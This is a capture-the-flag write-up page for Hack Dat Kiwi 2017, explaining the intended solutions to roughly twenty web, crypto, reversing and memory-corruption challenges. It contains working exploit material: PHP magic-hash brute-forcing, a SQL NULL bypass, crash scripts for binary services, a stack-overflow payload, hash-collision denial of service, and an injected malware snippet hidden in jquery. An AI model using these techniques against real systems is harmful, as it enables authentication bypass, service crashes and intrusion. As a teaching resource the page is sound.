Table of Contents


Send us your writeups!

Hack Dat Kiwi 2017 Auto-Write-Up


  • Before we get into the challenge write-ups, we want to thank you for your interest in Hack Dat Kiwi 2017! We hope you had more fun than frustration.
  • As usual, we will provide a standalone installer you can install on a Ubuntu 16.06 to simulate a challenge machine in a week (in this page).
  • If you have a good (or better) writeup, email it to us and we'd be happy to post it here! You might even win the writeup prize.

MD5 Games 1

As you can see why in this URL, PHP aggressively casts everything to numbers. If you compare "0e1827391273" with "0e0", they will be equal, because both are zero in scientific notation.

That means there are a lot of collisions in this challenge instead of very very rare collisions in the original MD5. You just need to brute-force to find one:

$index=0;
while(1)
{
	$index++;
	$str="0e".$index;
	if (md5($str)==$str)
		break;
	if ($index%1000000==0)
		echo $index,PHP_EOL;
}
var_dump($str);

The code brute forces to find the answer. It should take a few seconds to couple minutes. Feed the answer to the web to get the flag!

<php # Hacky alternative
for ($i;;$i++) if ("00e{$i}"==md5("00e{$i}")) die ("00e{$i}"); 

Serial Number

The Billion Dollar Mistake is the creation of the null pointer by Sir Tony Hoare. Why is it a mistake? Because a pointer is supposed to point to something, whereaas a null pointer does not point to position 0. It's a fundamentally different being, it is a difference of type, which is denoted with difference of values. So by just looking at a pointer, you can't tell whether it's a pointer or a null pointer!

The same issue exists here. In boolean logic we have TRUE and FALSE, but then sometimes we also have NULL? That's when definitions get messed up. What is the result of NULL AND TRUE? What about NULL OR FALSE? Is it TRUE, FALSE or NULL? Apparently, in most systems NULL takes precendence.

The source code shows that the service allows users to register, while providing a serialnumber in registration. If the serial number is valid, they get customer service and thus the flag. However, as apparent, there are only two serial numbers available. And they are both taken by existing users. So new users can not use valid serialnumbers.

Since the serialnumber can only be alphanumeric, there's something fishy going on. Looking at the code, this is what we need to break:

function isadmin($user)
{
	return sql("select ? in (select serialnumber from serialnumbers) as result",$user->serialnumber)[0]->result!=="0";
}

It's a little weird as the check is done using !=="0" instead of the default false state. So we want this query to return anything except 0, even if it's false or null.

A quick glance at MySQL Documentation reveals interesting stuff: "To comply with the SQL standard, IN returns NULL not only if the expression on the left hand side is NULL, but also if no match is found in the list and one of the expressions in the list is NULL."

That's it! Just use the serialnumber "NULL", and the result of the above query will be NULL instead of zero! If we look for NULL in any set, the result is not TRUE or FALSE, but NULL!

PS1

PS Writeups by Shediyo ( code )

The PS challenges, famously named after PlayStation, are actually simple Permutation-Substitution ciphers which form the foundation of modern block ciphers.

They are not super easy to break, but are relatively easy. There aren't many automated tools for them though. To break a Permutation-Substitution cipher, one has to perform linear and differential analysis on the cipher and approximate it with simpler ciphers until it's reversible to a certain degree.

However, one interesting feature of the PS ciphers in this CTF are that they do not mix the contents of a block. Every character in a block gets encrypted individually (first byte, second byte, etc.). That helps a lot with frequency analysis and progressing towards the challenges.

Since PS1 only has one round of P/S, it doesn't really add diffusion and confusion to the text. It's pretty easy to reverse, just reverse the P/S cycle (each block maps to a new block in substition based on the index of SBox, and block just get shuffled around in permutation step).

You can either break the cipher and find the key, or just decrypt the text without a key and find the flag.

PS2

This time it has two rounds of Pemutation/Substitution with another SBox PBox combo. It's a little harder but the same approach. Try to see what happens to each character through the S/P/X conversions, and reverse that into one function or three functions.

Another alternative is to just brute-force the decryption function few characters of the key at a time, and correspond to potential plaintexts (e.g. alphanumerics). That way you can leak few bytes of the key at a time until you have the whole key. However, the key that you get is the MD5 of the textual key (but that doesn't matter, you can still decrypt with it). For each challenge, you have to figure out how many characters of the key are correlated with the ciphertext. Decrypt and grab the flag.

PS4

Now we have 4 rounds, which add substantial diffusion into the cipher. However, because of the seed, SBoxes are weaker and can still be easily reverse. Also there is little confusion just like before, the real key (md5 of the original key) is used in every round the same. So you can brute-force it per round.

PSP

PSP enables the PLUS mode in the cipher. As apparent from the block code below, the PLUS mode enables generation of secure (MD5 and padding) round keys, providing near-perfect confusion in the cipher. So brute forcing key one step at a time becomes almost impossible, and finding the original key becomes much harder.

	function ps2_block($block,$key,$decrypt=false)
{
	$key=hex2bin(md5($key));
	$key=pad($key,BLOCK_SIZE);

	if ($decrypt)
		for ($i=ROUNDS-1;$i>=0;--$i)
		{
			$roundkey=$key;
			if (defined("PLUS"))
				$roundkey=pad(md5($key.$i),BLOCK_SIZE);
			$block=xbox($block,$roundkey,$i,$decrypt);
			$block=pbox($block,$i,$decrypt);
			$block=sbox($block,$i,$decrypt);
		}
	else //encrypt
		for ($i=0;$i<ROUNDS;++$i)
		{
			$roundkey=$key;
			if (defined("PLUS"))
				$roundkey=pad(md5($key.$i),BLOCK_SIZE);
			$block=sbox($block,$i,$decrypt);
			$block=pbox($block,$i,$decrypt);
			$block=xbox($block,$roundkey,$i,$decrypt);
		}
	return $block;
}

On top of that, it has 8 rounds of ciphering. This challenge can only be solved by thorough cryptanalysts, using differential analysis of the SBox. However, the key for this challenge is much simpler than that of other challenges (its the portable version after all).

The encrypted text is long enough enabling frequency analysis for the permutations. But when decrypted, it also contains an easter egg!

Detailed cryptanalysis of PS challenges will be added here as a link to a separate document in the future.

Beast

Beast is a simple text service that is vulnerable to hash collision attacks. Because it computes a hash of the provided text to figure out where to store it, adding two entries with the same hash and then deleting one of them provides use-after-free access.

The use-after-free can easily cause a crash and give the full points. Exploitation is not trivial, and provide bonus points. This challenge was not intended for exploitation, crashing was enough to get all the points.

The following input will result in a quick hash collision. The same approach is useful in Strongpass challenge as well.

add/FYFYFYFYFY
add/FYFYFYFYEz
del/FYFYFYFYEz
flag is ...

Eluware 1

The eluware challenges are mimicking real websites that are infected with a malware. These malware get smarter in each challenge, hiding themselves from analysts and tools, and only attacking their target once they are sure it's a real victim. All four scenarios are based on real world malware behavior.

The first one is pretty simple. An md5.js script is getting loaded from www.malware.com, which contains the flag. If you attempt to access it directly, it hides itself (via referer check), but if you use browser network tools to check the original output, you can easily see the script and find the flag in it.

Eluware 2

The second eluware gets more complicated. Some javascript accesses index.php?random=X url. It only attempts to deploy the malware if the random number is bigger than 9 (out of 10). So it needs roughly 10 requests to deploy itself for each client.

That's why the malware deploys only 10% of the time. On top of that random number, the malware makes a few more checks to make sure it's not being investigated. First, each random number can only be used once. If the same random number is used in the url, then it knows that the javascript is not making the request, but a human inspector, and thus completely hides itself (for that session).

Second, it checks the referer and the bounds of the random number. Third, it makes sure that it's not deployed on this client before attempting to deploy again.

Once the malware code is found, it says "random=6.66 willtell", which once submitted as flag, gets you some points (to prove that you are on the right track). But the problem is, if you immediately try random=6.66 it won't work. You have to bypass the malware checks again. The best way would be to figure out the exact pattern that causes the red Pwn to appear, and then try the random=6.66 again on those conditions.

The random=6.66 point is supposed to mimic the rest of the malware. Each malware usually only deploys part of itself on each client, retaining the rest on the server for other particular clients.

Eluware 3

The malware gets more complicated here. Malware infects jquery.js, because frankly, who'd suspect jquery, and even if they did, who would inspect jquery?! The malware also doesn't deploy unless at least 5 requests are made from the same client and at least 30 seconds has passed since the first request, to make sure it's not an automated tool. It also goes completely silent once it has infected a particular client.

Once the malware deploys, it adds a few bytes of code in the middle of jquery code to keep itself from prying eyes. The word "Pwned" is not explicitly existing in the malware code, it exists in CharCode encoding. The flag is the comment in the code block deployed by the malware:

...lllm:function(){
var div = document.createElement('div');
div.style = String.fromCharCode(119,105,100,116,104,58,50,48,48,112,120,59,104,101,105,103,104,116,58,49,48,48,112,120,59,112,111,115,105,116,105,111,110,58,102,105,120,101,100,59,116,111,112,58,49,53/*102,108,97,103,32,105,115,32,119,78,70,90,114,66,119,107,110,114,48,101,70,78,103,54,*/,48,112,120,59,108,101,102,116,58,50,53,48,112,120,59,98,97,99,107,103,114,111,117,110,100,45,99,111,108,111,114,58,114,101,100,59,99,111,108,111,114,58,119,104,105,116,101,59,122,45,105,110,100,101,120,58,57,57,57,57,59,102,111,110,116,45,115,105,122,101,58,52,48,112,120,59);
div.textContent=String.fromCharCode(80,119,110,101,100,33);
document.body.appendChild(div);
}(),camelCase:...

That's not all. The most important check done by the malware is whether the full page has been requested. Malware only deploys if the full page and all its resources have been requests (as in a browser). Any attempt at directly accessing a single file will fail.

How does the malware check for that? It creates a lock whenever a request is sent to the server, then keeps the request running for 5 extra seconds before releasing that lock. If jquery.js is accessed while the lock exists, malware deploys. Otherwise it hides. So the best way to see the malware code would be to load the original page, then open jquery.js in a separate page (while meeting the other Pwn criteria mentioned above). Or one can use the network tab to inspect things once the malware has deployed.

Some clients, particularly those behind a proxy or on a slow connection, will never get pwned with such malware. But that's intended, and exists in the real world as well. Malware likes to get vulnerable clients, not those who have proxies or have slow connections, because they are not useful targets.

Eluware 4

The hardest eluware challenge. The main check by this malware is checking the browser's type and version. It uses a Javascript library that relies on browser plugins and functionalities to detect browser type, while using a server-side library that reads User-Agent to figure out the browser type. If these two don't match, the malware panics and coneals forever on that session, realizing something fishy is going on.

The malware also utilizes a cookie tracker, to make sure that this user is a frequent user of the website. Otherwise it just doesn't deploy itself. It needs to track the user over 9-14 different requests to start warming up to the client.

When deployed on iPhone, the malware leaks information. This is suggested by the challenge description (malware only targets iphone), however, one needs to really mimic an iphone environment and simply changing referer wouldn't help much. Once run under iphone, the malware exposes a specific client as its ultimate target, Mac OS X 10.8 on Safari. Under that condition, the flag is displayed.

pppoly

An interesting reverse engineering challenge. The syntax seems to be in PHP. Save the file as .php, then change "eval" to echo, to see the code instead of running it:

$p='ZGVmIHNrZXdlcih0KToKICAgIHJldHVybiBvcmQodCktNTM7CmltcG9ydCBzeXMsYmFzZTY0LG9zLHJlO3Bhc3N3b3JkPWJhc2U2NC5iNjRkZWNvZGUoInBiMjQiKTtyPVtjaHIoKHgrNSt5KioyKSUyNTYpIGZvciB5LHggaW4gZW51bWVyYXRlKFtza2V3ZXIoeCkrNyUyNTYgZm9yIHggaW4gcGFzc3dvcmRdKV07CmNvZGU9JycnCiNjb2RlIGhlcmUKdXNlIE1JTUU6OkJhc2U2NDsKbXkgJHB3ZD1kZWNvZGVfYmFzZTY0KCJKQVNVUyIpOwokcHdkPXN1YnN0cigkcHdkLC0zKS5zdWJzdHIoJHB3ZCwwLChsZW5ndGggJHB3ZCkgLTMpOwojcHJpbnQgJHB3ZDsKdXNlIEZpbGU6OlRlbXAgcXcodGVtcGZpbGUpOwooJGZoLCAkZmlsZW5hbWUpID0gdGVtcGZpbGUoICk7Cm15ICRjb2RlPSI8Ii48PCdZJzsKP3BocCAkcD0nSkVSS1knO2VjaG8gJGZsYWc9JHBbMF09PSdBJz8kcFsxXT09J1MnPyRwWzJdPT0nUyc/JHBbM109PSdIJz8kcFs0XT09J0EnPyRwWzVdPT0nSSc/JHBbNl09PSdSJz9zdHJsZW4oJHApPT03PydZRVMsIHRoZSBmbGFnIGlzOiAnOjA6MDowOjA6MDowOjA6J05PJzsKWQokY29kZSA9fiBzL0pFUktZLyRwd2QvZzsgcHJpbnQgJGZoICRjb2RlO3ByaW50IGBwaHAgJHtmaWxlbmFtZX1gOwonJycucmVwbGFjZSgnSkFTVVMnLGJhc2U2NC5iNjRlbmNvZGUoIiIuam9pbihyKSkpO2ltcG9ydCB0ZW1wZmlsZTsKZiA9IHRlbXBmaWxlLk5hbWVkVGVtcG9yYXJ5RmlsZShkZWxldGU9RmFsc2UpO2Yud3JpdGUoY29kZSk7Zi5jbG9zZSgpO3ByaW50IG9zLnBvcGVuKCJwZXJsICIrZi5uYW1lKS5yZWFkKCk7';
$p=str_replace("pb24", base64_encode($password), base64_decode($p));
function into_temp($code)
{
	$f=tempnam(null,"polyglot_");
	file_put_contents($f, $code);
	return $f;
}
function sys($code,$pl)
{
	return shell_exec($pl." ".into_temp($code));
}
if (strpos($r=sys($p,"python"),"YES")!==false and ctype_alnum($password)) $r.=md5($password);
echo $r;

We have another layer to unwrap. Now we need to see what code is in $p:

def skewer(t):
    return ord(t)-53;
import sys,base64,os,re;password=base64.b64decode("UEFTU1dPUkQ=");r=[chr((x+5+y**2)%256) for y,x in enumerate([skewer(x)+7%256 for x in password])];
code='''
#code here
use MIME::Base64;
my $pwd=decode_base64("JASUS");
$pwd=substr($pwd,-3).substr($pwd,0,(length $pwd) -3);
#print $pwd;
use File::Temp qw(tempfile);
($fh, $filename) = tempfile( );
my $code="<".<<'Y';
?php $p='JERKY';echo $flag=$p[0]=='A'?$p[1]=='S'?$p[2]=='S'?$p[3]=='H'?$p[4]=='A'?$p[5]=='I'?$p[6]=='R'?strlen($p)==7?'YES, the flag is: ':0:0:0:0:0:0:0:'NO';
Y
$code =~ s/JERKY/$pwd/g; print $fh $code;print `php ${filename}`;
'''.replace('JASUS',base64.b64encode("".join(r)));import tempfile;
f = tempfile.NamedTemporaryFile(delete=False);f.write(code);f.close();print os.popen("perl "+f.name).read();

Ok. So the original PHP code grabs the password, puts it in a python code, which puts it in a perl code which puts it in a PHP code and runs it. Each of these codes (PHP Python Perl, pppoly) modify the password a bit.

Now you just have to reverse the process, figure out what password will cause the last condition ($p=...) to hold. It requires solving a few constraints, either using a tool or manually by hand. Enter the password and the code will give you the flag.

Hasher

It's a pretty simple challenge, however, you don't want to spawn two openssl processes for every check you do, otherwise it will be too slow. Instead you can use C/C++ to write a code that statically links to openssl and uses the encryptions, or even use openssl in Python or PHP. That way the brute force should take less than a minute...

...Or do the simpler thing, find the logical flaw:

function hasher($string)
{
	if (!ctype_alnum($string))
		return null;
		...
if (hasher($user)==hasher($password) and $user!=$password)
	echo "Welcome! Flag is: ".include("flag.php");

Just provide two non-alphanumerics that are not the same as username and password, so the first check (null==null) and the second check (something!=somethingelse) are true.

The obvious solution, even if feasible, is not the easiest!

MD5 Games 2

To do this challenge, we must first do the math. MD5 is 128 bit. To force a collision, we need to generate 2128 entries, which is roughly 103*12.8 = 1038 (210 ~= 103). However, according to Birthday Paradox, to have a 50% chance of collision, we need to only generate Sqrt(2128 * 2), which is roughly 264, roughly 1019.

That's still too much, although achievable in theory. Our single-machine brute-force power is roughly 230 to 240 instructions, and 220 to 230 MD5s. And that's why we use Rainbow Tables for breaking MD5.

In MD5 1, we wanted to create a string, that has a hash in pattern 0e[0-9]{30}. A match could be found in roughly 10 million generations (roughly 10 seconds). In MD5 2, we need to do the same process twice, i.e., find some string that has a hash in pattern 0e[0-9]{30}, and then find enough of those strings to have one of them match the same pattern. That would be 10 million x 10 million, i.e. 10 seconds * 10 million, i.e. 100 million seconds. Clearly this is not the solution (3 years on a single machine).

However, we can use Meet in the Middle to break down the complexity, just like Birthday Paradox uses meet in the middle to break down the complexity significantly. To do that, we need to borrow MD5 Games 1's solution.

What we want to do, is instead of doing step 1 (find a string that has a hash of 0e[0-9]{30}) 10 million times, and then do step 2 10 million times on each of the step 1's results, we start in between and go back and forth at the same time.

We want to start from a large set of 0e[0-9]{30}s (or equivalent, as in 00e[0-9]{29} etc.) called S, generated via a script. Then we keep hashing these until we find one that correlates to another 0e[0-9]{30} (or equivalent) called E. This process requires 10 million computations (roughly 10-100 seconds). Now we want to be able to reverse the item from set S (called E), into something that hashes into E. That's where we use Rainbox Tables (hash breakers). Of course for our random hash E, the chances of Rainbox Table breaking it are very low. However, by generating multiple Es (roughly a thousand) we have a good chance of getting back a string that hashes to one of those Es.

Keep in mind that unlike MD5 1, where we needed a specific string (in form 0e[0-9]+) that hashed into 0e[0-9]{30}, here we can use any string as source, although it doesn't make any computational difference. Thus, the computation complexity of MD5 Games 2 would be roughly 1000 times higher than that of MD5 Games 1. If you had a good code for that (10 seconds result) you should get a result after 10,000 seconds of finding Es. But you have to know the odds and do the math before you try the rainbow table (many of which are freely available online), otherwise you'll be stuck in a loop forever.

Pimple Stegano

This would be a very hard stegano challenge if you were not familiar with its less ugly brother from our previous CTF Simple Stegano.

Simple Stegano used to store one bit in every black pixel of the image (the LSB bit), so that it would get slightly less black (unnoticable).

Pimple Stegano adds pimples to image. The troll gets pseudo-random pimples on the face based on messages. We can't check whether or not these dots are random or based on a pattern generated from input, because for each input, the generated troll is cached indefinitely.

However, it shouldn't really matter. We can still just inject simple As and compare to the original. Aside from the pimples, we can see which bits get changed. This results in understanding that still the black pixels are changing. But we also have some pseudo-randomly added black pixels (the pimples) which store some of the message and make the steganography less trivial. But once we know where the message is (LSB bits of pixels darker than 127) it's easy to extract the bits and remake the message.

HTI+

As per the previous CTF, we still have the Hybrid Taint Inference challenge here! This time however, we have used a firewall to ban all special characters, so that you can't break our SQL lexer and cause it to miss attacks. (more)

The solution is pretty much the same as the previous year, except that some of the source code has changed so you can't copy paste that old solution. However, still the majority of teams got this solved by breaking our lexer :(. Maybe for the next CTF, create an experimental lexer? This time around, you have to inject in both Title and Message fields to form a valid SQL query all around.

Chessmaster

A simple chess service, in which you get to play both sides! Connecting to the server provides:

Welcome. This is a super chess where pieces are swapped instead of removed.
Turns will toggle between white and black.
The following input formats are accepted:
  9: print board
  777: exit
  x,y u,w: move piece at x,y to u,w
Good luck!
-----------
  01234567
7 rhbqkbhr
6 pppppppp
5 ........
4 ........
3 ........
2 ........
1 PPPPPPPP
0 RHBQKBHR
WHITE:

By reversing the code it is clear that the vulnerability exists in moving a chess piece beyond the board when winning. Doing that will write beyond the board's memory and crash. Exploitation is very unlikely to be possible, despite lack of ASLR, because only a few extra bytes after the end of the chess board can be written. Crashing provies full points, while exploiting will provide bonus points. The following exploit causes the crash:

from zio import *
import time
host = '...IP of the server...'
port = 2002

io = zio((host, port))

def rw(data1, data2):
    io.read_until(data1);
    io.write(data2);
def w(data):
    io.write(data);

w("6,0 5,2")
str='''1,6 1,5
5,2 6,4
2,6 2,5
6,4 4,5
0,6 0,5
4,5 6,6
1,5 1,4
6,6 7,8
9
'''.split("\n")
for s in str:
    rw("Ok!",s+"\n");
    time.sleep(.3);

Fractal

"What's the perimeter of a fractal?" Said one Kiwi to another.

The challenge is a shopping app that sells the flag for a mere $100k. It also provides a coupon that gives you 10% + $5 off your purchase. You just have to cough up $90k! Easy.

The idea is to apply the coupon multiple times. Since submitting different coupons or one coupon different times doesn't really do anything, we take a look at the URL.

Whenever there's ?page=XXX there's the possibility of LFI. But testing for LFI reveals that system is safe against LFI. Then there's the possibility of fractalling the system! Use ?page=index so that the system keeps recursively including itself in itself, causing the page to load 100 times inside itself. Then apply the coupon to the innermost coupon box, and it gets applied 100 times! Now easily buy the free flag.

Fractal vulnerabilities exist because the developer assumes the pages he's including do not include other pages, at least not recursively. But that's not always the case.

Halftp

The service provides storing files and removing them, and also printing their list. When printing the list, it sorts the files and then displays them. If any files are deleted, they are shifted over on print.

However, if a file is deleted, the total file counter does not get decremented, so the code goes beyond the array bounds and accesses unauthorized memory, causing crash.

Since the memory can be arbitrarily written over via file submit (which is directly writing data to the memory), one only needs to send files in an already sorted order so that the sorting doesn't move or delete them for exploitation.

Detailed exploit will be updated soon. Below you can see the PoC:

from zio import *
import time
host = '...IP of the server...'
port = 2003

io = zio((host, port))

def wr(data1, data2):
    io.write(data1);
    io.read_until(data2);
def r(data):
    io.read_until(data);

r("say");
str="""SEND\x04/abc\x09\x00123456789
SEND\x04/abd\x09\x00123456789
SEND\x04/acd\x09\x00123456789
SEND\x05/abca\x09\x00123456789
REPO\x04/acd
PRNT
STOP""".split("\n");
for s in str:
    wr(s,"ed");
    time.sleep(.2);

Set Theory

The system allows creation and manipulation of sets. It uses pointers to connect elements into sets. Crashing it is pretty easy (via stack overflow) and can be easily observed by reverse engineering the extra stack for stack overflow.

Creating two sets that have each other as members, and then printing one (prints) will result in infinite recursion and overflow the stack and crash. Half-flag is available there.

s1=|s2,"x"|
s2=|s1,"y"|
prints s2

Exploiting Set Theory is hard and requires working on the second bug in the code. To expand sets via prints, a local buffer is created with size 3200. The size of each set is 2 bytes for '|' characters, 14 bytes for commas (15 elements max), 30 bytes for double quotes (each element is wrapped in quotes), and 15 bytes for each element (15*10+14+2+30=) 196 bytes.

Now if we define 15 of these sets (a1 through a15), and include all 15 in a new set (b1), then we'd be taking 2940 bytes (15*196). That's still smaller than 3200 (no overflow). So we have to create many b sets (maximum 15 via b1 to b15) and then create a c set that includes all b sets. Then, if we prints c, we'll overflow that buffer with the value of these sets.

Since aside from formatting characters (| and , and = and ") everything else (element values and set names) are at our disposal, we can write arbitrary data over the stack frame and pwn the challenge.

The following is a PoV for what's explained above:

a1 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a2 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a3 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a4 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a5 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a6 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a7 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a8 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a9 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a10 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a11 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a12 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a13 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a14 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|
a15 = |"01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890","01234567890"|

b1 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b2 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b3 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b4 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b5 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b6 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b7 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b8 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b9 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b10 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b11 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b12 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b13 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b14 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|
b15 = |a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15|

c1 = |b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15|

prints c1

Polyglot

Polyglot is someone who speaks many languages. In the hacking context, he's one who speaks many programming languages. This challenge uses Lua, C, C++, Ruby and Bash on top of Python, PHP and Perl.

Since the operations on the input password are not one-way, there are many passwords that can satisfy this challenge. However, as pointed out in the original code, the password has to be of the form KIWISOMETHING. That's to prevent brute-force attacks on password (as brute-forcing 7 process spawns is slow).

Reverse engineering and solving the constraints leaks the password to be KIWISUCKER. Providing it as the password reveals the correct flag.

Another solution would be mimicking the behavior of the script in one language (so that it doesn't need to spawn multiple processes) and then use a dictionary brute-force attack. A write-up for this is available here.

PHP Sandbox

This is an experimental challenge. A PHP Sandbox is made which parses and runs your provided code in a sandbox. However, apparently the sandbox misses some critical features such as fully understanding backticks, making it vulnerable to shell injection.

Keep in mind that experimental challenges do not have a particular vulnerability, and thus might require some guesswork. This challenge did not intend to have this vulnerability, the research team behind the sandbox just wanted to test the hardness of their sandbox (which wasn't as expected).

The were some tricks with leaking the flag though, because the sandbox would only output the last line of output, and the flag.txt file had a blank line at the end.

Also because the sandbox was on a separate server (shared among all contestants) a lot of people just put up random empty flag.txt files to confuse others! Keep up the good work team.

Authenticator

This is a slightly hard but very interesting challenge. The index.php code receives username and password, and then feeds them into authenticator.php:

$data="username={$username}|password={$password}";
if (curl($url."/authenticator.php",["data"=>$data])!=="0")
{
	echo "Welcome, {$username}! The flag is: ".include __DIR__."/flag.php";
}
else
	echo "Invalid username or password.";

At first there was a bug in the URL, so some teams got the flag, which was patched and updated. The real bug however, is in the authenticator not returning "0" (instead of returning "1"), which is easily done by denial of service.

Of course brute-forcing a server is never the solution to any challenge. So lets dig more. First, username and password are encoded with a custom encoding into $data (by separating via |). Then inside authenticator we have:

@$data=$_POST['data'];
$r=explode("|",$data);
$arr=[];
if ($r)
foreach ($r as $t)
{
	if (strpos($t,"=")===false) continue;
	$arr[explode("=",$t)[0]]=explode("=",$t)[1];
}
if (!isset($arr['username']) or !isset($arr['password']))
	die('0');
if (md5($arr['username'].$arr['password'])!=="b4dae82ae3c7484f725a667e5ecc4e78")
	die("0");

die("1");

The code breaks down the data by |, then by =, and sets them inside an associative array. This means that we can provide keys other than username and password too. If username or password is not provided, or if they do not match something specific (which we don't know), then the response is "0".

A look at config.php shows some interesting PHP parameters:

assert(ini_get("max_input_vars")<=1000);
assert(ini_get("max_input_time")=="-1" or ini_get("max_input_time")>=30);
ini_set("max_execution_time","2");
set_time_limit(2);
assert(ini_get("post_max_size")<=2); 
ini_set("memory_limit",(ini_get("post_max_size")*32)."M");

The server only accepts up to a 1000 variables in GET or POST. However, since we're providing a string which the PHP code breaks down into variables, that limit doesn't matter. Maximum execution time is 2 seconds. That means we might be able to make it run longer, terminate and output nothing (instead of "0"), to let us login.

However we can't submit more than 2 MB of data, and considering PHP 7's efficient data handling, it won't overflow the 32 MB of memory per MB of post data.

Oky so the only solution is to provide some input that forms many variables in $arr in authenticator.php, in a way that is very slow. What can be the solution? Hash collisions of course.

PHP and many other high level programming languages use dictionaries and associative arrays (Hash Maps) to store data. These hash-maps are not cryptographically secure, i.e., their hashing functions (the function that converts the key into an int to be used in the actual data structure) can be reversed. PHP and Python use DJBX33A, which is a very simple algorithm and can be reversed.

Essentially what we want to do is to provide many keys to the $arr variable, all of which result in the same hash, making the array work like a linked list instead of a hash table (due to open chaining), thus making it operate in O(N) instead of O(1) for each element, resulting in overal execution time of O(N2) instead of O(N).

First we need to generate a lot of keys that have the same hash. That's easy for DJBX33A. Start with a desired string e.g. "EFGHIJKL", pick a pair inside it (lets say EF), add one to the first letter and remove 33 from the second (FY). Do this for all pairs in the string and you have a list of colliding keys.

Now that you have that list, just add prefix/postfix to each one to make new colliding strings. Create a large enough set (roughly ~2MB) like that in a file. To minimize the size of the file, use 10 byte strings (allowing you 5 pairs for modification, 32000 distinct colliding keys), then create a file with each key following an equal sign (=) following a separator (|). That'd be the input format to authenticator.php. Now just serve this as the username or password field of index.php. Should take roughly 5 seconds to run in authenticator, resulting in flag!

Strongpass

The pinnacle challenge. We have a very basic app that lets us sign up, login, change password and logout. That's it. Lets look at the source code. All the interesting stuff seems to be in user.php:

function changepass($oldpass,$newpass)
{
	if (!isset($_SESSION['login'])) return false;
	$userid=$_SESSION['login']['id'];
	if (strlen($newpass)<8) return false;
	if (!sql("select * from users where id=? and password=?",$userid,md5($oldpass)))
		return false;
	if ($newpass===$oldpass) return false;
	function get_password_history()
	{
		$file=password_history_file();
		if (!file_exists($file))
			return [];
		else
			return explode(PHP_EOL,file_get_contents($file)); 
	}
	function password_history_file()
	{
		$username=$_SESSION['login']['username'];
		return realpath(__DIR__."/history")."/".substr("{$username}.pss",0,255);//filename length limit
	}
	//check if password not used before
	$hash=hex2bin(md5($newpass));
	$pass_history=get_password_history();
	foreach ($pass_history as $one_of_old_passes)
		if ($hash===$one_of_old_passes)
			return false;
	array_unshift($pass_history, $hash);
	file_put_contents(password_history_file(), implode(PHP_EOL,$pass_history));
	return sql("update users set password=? where id=?",md5($newpass),$userid);
}

Particularly the changepass function, which is the only anomaly on this challenge. Lets delve deeper. When we change password, it forces us to use a password larger than 8 bytes. It also stores the binary of each password's md5 in a password history file, to prevent use from reusing an old password.

Why a file instead of DB? And why in binary instead of hex? It saves space but only 50%. That's the trick. We can use the conversion to binary to create code, a shell, or anything useful on the server. We just need to use passwords that have an MD5 in binary form equivalent to our desired characters.

Two issues remain. One is how to change the file extension? Two is how to find something that has an MD5 equal to some code, like:

<?=flag();

